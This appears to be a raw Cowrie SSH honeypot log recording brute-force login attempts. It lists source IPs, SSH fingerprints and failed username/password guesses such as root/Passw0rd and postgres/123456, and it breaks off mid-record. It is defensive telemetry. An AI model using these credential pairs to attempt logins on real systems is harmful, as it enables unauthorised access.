{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":47669,"dst_ip":"10.17.0.5","dst_port":22,"session":"c05e8bdcfc4c","protocol":"ssh","message":"New connection: 5.196.136.131:47669 (10.17.0.5:22) [session: c05e8bdcfc4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:45.215770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:45.219199Z","src_ip":"5.196.136.131","session":"c05e8bdcfc4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:45.296475Z","src_ip":"5.196.136.131","session":"c05e8bdcfc4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:45.529919Z","src_ip":"5.196.136.131","session":"c05e8bdcfc4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:46.612600Z","src_ip":"5.196.136.131","session":"c05e8bdcfc4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.210.76.170","src_port":40930,"dst_ip":"10.17.0.5","dst_port":22,"session":"8414349d5964","protocol":"ssh","message":"New connection: 182.210.76.170:40930 (10.17.0.5:22) [session: 8414349d5964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:49.397005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:49.400785Z","src_ip":"182.210.76.170","session":"8414349d5964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:49.608292Z","src_ip":"182.210.76.170","session":"8414349d5964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":60796,"dst_ip":"10.17.0.5","dst_port":22,"session":"92418e801f8b","protocol":"ssh","message":"New connection: 5.196.136.131:60796 (10.17.0.5:22) [session: 92418e801f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:49.802608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:49.805977Z","src_ip":"5.196.136.131","session":"92418e801f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:49.881221Z","src_ip":"5.196.136.131","session":"92418e801f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:50.111261Z","src_ip":"5.196.136.131","session":"92418e801f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2020@","message":"login attempt [root/unitedstates2020@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:50.233851Z","src_ip":"182.210.76.170","session":"8414349d5964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:51.189467Z","src_ip":"5.196.136.131","session":"92418e801f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:51.446119Z","src_ip":"182.210.76.170","session":"8414349d5964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":22772,"dst_ip":"10.17.0.5","dst_port":22,"session":"961bf68508f7","protocol":"ssh","message":"New connection: 5.196.136.131:22772 (10.17.0.5:22) [session: 961bf68508f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:54.212641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:54.216232Z","src_ip":"5.196.136.131","session":"961bf68508f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:54.292576Z","src_ip":"5.196.136.131","session":"961bf68508f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:54.534005Z","src_ip":"5.196.136.131","session":"961bf68508f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:55.613303Z","src_ip":"5.196.136.131","session":"961bf68508f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":25884,"dst_ip":"10.17.0.5","dst_port":22,"session":"900e658761c2","protocol":"ssh","message":"New connection: 5.196.136.131:25884 (10.17.0.5:22) [session: 900e658761c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:58.634611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:58.637136Z","src_ip":"5.196.136.131","session":"900e658761c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:58.715463Z","src_ip":"5.196.136.131","session":"900e658761c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:58.955274Z","src_ip":"5.196.136.131","session":"900e658761c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:00.036032Z","src_ip":"5.196.136.131","session":"900e658761c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":42831,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fc4fdc1d1dd","protocol":"ssh","message":"New connection: 5.196.136.131:42831 (10.17.0.5:22) [session: 3fc4fdc1d1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:03.117275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:03.121272Z","src_ip":"5.196.136.131","session":"3fc4fdc1d1dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:03.201587Z","src_ip":"5.196.136.131","session":"3fc4fdc1d1dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:03.443855Z","src_ip":"5.196.136.131","session":"3fc4fdc1d1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:04.526813Z","src_ip":"5.196.136.131","session":"3fc4fdc1d1dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":19591,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1ae087e30ec","protocol":"ssh","message":"New connection: 5.196.136.131:19591 (10.17.0.5:22) [session: d1ae087e30ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:07.528285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:07.532430Z","src_ip":"5.196.136.131","session":"d1ae087e30ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:07.639072Z","src_ip":"5.196.136.131","session":"d1ae087e30ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:07.873561Z","src_ip":"5.196.136.131","session":"d1ae087e30ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:08.953515Z","src_ip":"5.196.136.131","session":"d1ae087e30ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":60932,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e0e3886e332","protocol":"ssh","message":"New connection: 5.196.136.131:60932 (10.17.0.5:22) [session: 0e0e3886e332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:11.921869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:11.925881Z","src_ip":"5.196.136.131","session":"0e0e3886e332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:12.002705Z","src_ip":"5.196.136.131","session":"0e0e3886e332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:12.233360Z","src_ip":"5.196.136.131","session":"0e0e3886e332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:13.313281Z","src_ip":"5.196.136.131","session":"0e0e3886e332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":37067,"dst_ip":"10.17.0.5","dst_port":22,"session":"2010ddea98aa","protocol":"ssh","message":"New connection: 5.196.136.131:37067 (10.17.0.5:22) [session: 2010ddea98aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:16.412384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:16.416413Z","src_ip":"5.196.136.131","session":"2010ddea98aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@